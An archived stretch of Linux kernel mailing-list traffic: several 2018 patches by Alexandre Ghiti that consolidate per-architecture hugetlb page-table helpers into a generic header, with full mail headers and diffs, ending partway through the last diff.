In-Reply-To: <20180705051640.790-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812040 gmane.linux.ports.arm.kernel:660925 gmane.linux.ports.ia64:28895 gmane.linux.ports.mips.general:65255 gmane.linux.ports.parisc:28746 gmane.linux.ports.ppc64.devel:159679 gmane.linux.ports.sh.devel:57168 gmane.linux.ports.sparc:28070 gmane.linux.kernel.cross-arch:45016
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812040>

arm, x86 architectures use the same version of
huge_ptep_clear_flush, so move this generic implementation into
asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 1 +
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 1 +
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 ++++++++
 10 files changed, 15 insertions(+), 12 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index ad36e84b819a..b897541520ef 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
-					 unsigned long addr, pte_t *ptep)
-{
-	ptep_clear_flush(vma, addr, ptep);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 6ae0bcafe162..4c8dd488554d 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -71,6 +71,7 @@ extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 extern void huge_ptep_clear_flush(struct vm_area_struct *vma,
 				  unsigned long addr, pte_t *ptep);
 #define __HAVE_ARCH_HUGE_PTE_CLEAR
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 6719c74da0de..41b5f6adeee4 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,6 +20,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 0959cc5a41fa..7df1f116a3cc 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -48,6 +48,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 	return pte;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 6e281e1bb336..9afff26747a1 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -32,6 +32,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index ec3e0c2e78f8..de0769f0b5b2 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -143,6 +143,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 #endif
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 08ee6c00b5e9..9abf9c86b769 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,6 +25,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 944e3a4bfaff..651a9593fcee 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -42,6 +42,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 48b8d9b13cc6..8347d5abf882 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -27,12 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
-					 unsigned long addr, pte_t *ptep)
-{
-	ptep_clear_flush(vma, addr, ptep);
-}
-
 static inline int huge_pte_none(pte_t pte)
 {
 	return pte_none(pte);
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 0f6f151780dd..ffa63fd8388d 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -65,4 +65,12 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
+static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
+		unsigned long addr, pte_t *ptep)
+{
+	ptep_clear_flush(vma, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 04/11] hugetlb: Introduce generic version of
 huge_ptep_get_and_clear
Date: Thu,  5 Jul 2018 05:12:35 +0000
Lines: 165
Approved: news@gmane.org
Message-ID: <20180705051242.694-4-alex@ghiti.fr>
References: <20180705050323.301-1-alex@ghiti.fr>
 <20180705051242.694-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530768095 9735 195.159.176.226 (5 Jul 2018 05:21:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:21:35 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com, will.deacon@arm.com,
 tony.luck@intel.com, fenghua.yu@intel.com, ralf@linux-mips.org,
 paul.burton@mips.com, jhogan@kernel.org, jejb@parisc-linux.org,
 deller@gmx.de, benh@kernel.crashing.org, paulus@samba.org,
 mpe@ellerman.id.au, ysato@users.sourceforge.jp, dalias@libc.org,
 davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
 x86@kernel.org, arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jul 05 07:21:28 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1fawhr-0002MR-RW
	for linux-arm-kernel@m.gmane.org; Thu, 05 Jul 2018 07:21:28 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=RB4NARNrqzQL6Ln7n5KVFwndxM45iTlPOLqSK7mgRbI=; b=CaOIhQ8di3F3BW/4OcXxwPCLkh
	y9UkTyRz8YRRgIFy79quapjzydEA2g/cljqmN2YWi8PEXveQlWSYW0Wt1/ZXyvzY2DBP2BXKZ1e5Q
	vRpdXadOHYSkzc8EgCdaL13jiaMzgfrg2hFxkDNoNT0RdVWFiqShEgbPniQQtrBU91BoLOGjx+xKX
	KvMqKTZ5ZnF1skVfz3lHj3HpPXaGsEchlazsI8GVw75ythk/chRHai+ccsn4rBHHMcL1x2GxmhhWO
	XBauiSrrZu7Yl7fqZ5MioNdgcsvMOJI05OnLpHomexKjVnB2D7GIXDoYfLQTPIevANMBYhuriZmln
	0Yq8FH/w==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fawjw-0006TA-O9; Thu, 05 Jul 2018 05:23:36 +0000
Original-Received: from relay10.mail.gandi.net ([217.70.178.230])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fawaC-00087N-8o
 for linux-arm-kernel@lists.infradead.org; Thu, 05 Jul 2018 05:13:36 +0000
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
 (Authenticated sender: alex@ghiti.fr)
 by relay10.mail.gandi.net (Postfix) with ESMTPSA id AEB0124000C;
 Thu,  5 Jul 2018 05:13:22 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705051242.694-1-alex@ghiti.fr>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180704_221332_772955_CE0A7D3E 
X-CRM114-Status: GOOD (  10.07  )
X-Spam-Score: 0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:660926 gmane.linux.kernel:2812041 gmane.linux.ports.ia64:28896 gmane.linux.ports.mips.general:65256 gmane.linux.ports.parisc:28747 gmane.linux.ports.ppc64.devel:159680 gmane.linux.ports.sh.devel:57169 gmane.linux.ports.sparc:28071 gmane.linux.kernel.cross-arch:45017
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/660926>

arm, ia64, sh, x86 architectures use the
same version of huge_ptep_get_and_clear, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 6 ------
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 6 ------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 ++++++++
 10 files changed, 13 insertions(+), 24 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index 398fb06e8207..ad36e84b819a 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -49,12 +49,6 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 	ptep_set_wrprotect(mm, addr, ptep);
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 874661a1dff1..6ae0bcafe162 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -66,6 +66,7 @@ extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index a235d6f60fb3..6719c74da0de 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,12 +20,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 8ea439041d5d..0959cc5a41fa 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -36,6 +36,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 77c8adbac7c3..6e281e1bb336 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -8,6 +8,7 @@
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 			      pte_t *ptep);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index ba7d5d8b543f..ec3e0c2e78f8 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -132,6 +132,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index bc552e37c1c9..08ee6c00b5e9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,12 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 16b0c53ea6c9..944e3a4bfaff 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -16,6 +16,7 @@ extern struct pud_huge_patch_entry __pud_huge_patch, __pud_huge_patch_end;
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 			      pte_t *ptep);
 
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 554d5614b375..48b8d9b13cc6 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -27,12 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index ee010b756246..0f6f151780dd 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -57,4 +57,12 @@ static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
+static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
+		unsigned long addr, pte_t *ptep)
+{
+	return ptep_get_and_clear(mm, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2

From - Thu Nov 08 21:41:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 06/11] hugetlb: Introduce generic version of huge_pte_none
Date: Thu,  5 Jul 2018 05:16:35 +0000
Lines: 178
Approved: news@gmane.org
Message-ID: <20180705051640.790-7-alex@ghiti.fr>
References: <20180705051640.790-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530768095 9778 195.159.176.226 (5 Jul 2018 05:21:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:21:35 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 07:21:28 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fawhr-0002Lp-EC
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 07:21:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753273AbeGEFXf (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 01:23:35 -0400
Original-Received: from relay10.mail.gandi.net ([217.70.178.230]:60265 "EHLO
        relay10.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751720AbeGEFXd (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 01:23:33 -0400
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay10.mail.gandi.net (Postfix) with ESMTPSA id 25C9C240006;
        Thu,  5 Jul 2018 05:23:25 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705051640.790-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812042 gmane.linux.ports.arm.kernel:660927 gmane.linux.ports.ia64:28897 gmane.linux.ports.mips.general:65257 gmane.linux.ports.parisc:28748 gmane.linux.ports.ppc64.devel:159681 gmane.linux.ports.sh.devel:57170 gmane.linux.ports.sparc:28072 gmane.linux.kernel.cross-arch:45018
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812042>

arm, arm64, ia64, parisc, powerpc, sh, sparc, x86 architectures
use the same version of huge_pte_none, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb.h     | 5 -----
 arch/arm64/include/asm/hugetlb.h   | 5 -----
 arch/ia64/include/asm/hugetlb.h    | 5 -----
 arch/mips/include/asm/hugetlb.h    | 1 +
 arch/parisc/include/asm/hugetlb.h  | 5 -----
 arch/powerpc/include/asm/hugetlb.h | 5 -----
 arch/sh/include/asm/hugetlb.h      | 5 -----
 arch/sparc/include/asm/hugetlb.h   | 5 -----
 arch/x86/include/asm/hugetlb.h     | 5 -----
 include/asm-generic/hugetlb.h      | 7 +++++++
 10 files changed, 8 insertions(+), 40 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 047b893ef95d..3d2ce4dbc145 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -43,11 +43,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 4c8dd488554d..49247c6f94db 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -42,11 +42,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 41b5f6adeee4..bf573500b3c4 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -26,11 +26,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 7df1f116a3cc..1c9c4531376c 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -55,6 +55,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_tlb_page(vma, addr & huge_page_mask(hstate_vma(vma)));
 }
 
+#define __HAVE_ARCH_HUGE_PTE_NONE
 static inline int huge_pte_none(pte_t pte)
 {
 	unsigned long val = pte_val(pte) & ~_PAGE_GLOBAL;
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 9afff26747a1..c09d8c74553c 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -38,11 +38,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index de0769f0b5b2..530b817e097c 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -152,11 +152,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_hugetlb_page(vma, addr);
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 9abf9c86b769..a9f8266f33cf 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -31,11 +31,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 651a9593fcee..11115bbd712e 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -48,11 +48,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 8347d5abf882..c5fdc53b6e41 100644
